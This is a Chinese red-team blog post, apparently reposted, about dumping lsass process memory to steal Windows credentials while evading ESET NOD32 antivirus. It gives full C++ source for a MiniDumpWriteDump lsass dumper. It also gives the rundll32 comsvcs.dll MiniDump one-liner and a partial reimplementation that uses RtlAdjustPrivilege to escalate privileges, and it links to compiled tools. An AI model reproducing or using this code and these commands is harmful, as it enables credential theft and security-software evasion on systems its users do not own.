红队技巧:绕过ESET_NOD32抓取密码(ESET_NOD32是一款杀毒软件)
聊一聊繞過ESET_NOD32抓取密碼的方法,這里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft windows server,測試版本如下:
為試用版本,并不影響我們的測試效果。目前很多的dump手法使用的是利用MiniDumpWriteDump這個API進行進程的內存dump,demo如下:
#include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment( lib, "Dbghelp.lib" ) using namespace std;int main() {DWORD lsassPID = 0;HANDLE lsassHandle = NULL;HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(PROCESSENTRY32);LPCWSTR processName = L"";if (Process32First(snapshot, &processEntry)) {while (_wcsicmp(processName, L"lsass.exe") != 0) {Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;lsassPID = processEntry.th32ProcessID;}wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;}lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);if (isDumped) {cout << "[+] lsass dumped successfully!" << endl;}return 0; }編譯好版本可以去我的Github下載:https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump
我們來看看ESET_NOD32對它的反應:
無情的刪除,因為這類API已經被攔截的很嚴重了。這里我們使用另外的一種方法來進行操作。首先我們來看一個白名單文件,?comsvcs.dll,使用它dump的方法如下:
rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"1234為lsass的PID進程號,注意需要管理員權限,而這類行為又屬于敏感行為,所以我們來自己實現一個該DLL的功能,主要為 MiniDump,其為comsvcs.dll的一個導出函數。
而權限提升可以使用RtlAdjustPrivilege來進行,這個函數封裝在NtDll.dll中,MSDN沒有專門的文檔介紹它,就是說你在MSDN上查不到關于它的任何信息,但是可以在微軟官方的WRK(Windows研究內核)里找到它的源代碼。其定義如下:
NTSTATUS RtlAdjustPrivilege(ULONG Privilege,BOOLEAN Enable,BOOLEAN CurrentThread,PBOOLEAN Enabled )剩下的將剛才所說的函數進行實現,demo如下:
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable,BOOL CurrentThread, PULONG Enabled);最后成功的繞過了繞過ESET_NOD32 dump了進程。
工程下載地址:https://github.com/lengjibo/RedTeamTools/tree/master/windows/MiniDump
總結
以上是生活随笔為你收集整理的红队技巧:绕过ESET_NOD32抓取密码(ESET_NOD32是一款杀毒软件)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: net::ERR_ABORTED ,引入
- 下一篇: 编译原理中中间代码生成---C语言实现